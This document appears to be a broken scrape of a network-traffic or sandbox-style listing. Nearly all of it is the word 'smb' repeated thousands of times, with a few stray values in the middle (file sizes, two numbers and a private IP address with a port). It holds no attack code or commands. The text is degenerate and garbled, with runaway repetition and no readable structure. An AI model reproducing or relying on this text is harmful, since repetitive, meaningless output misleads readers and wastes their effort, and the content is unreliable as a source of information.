smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1.5MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         3.0MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         5012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 10.10.0.16:53636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, 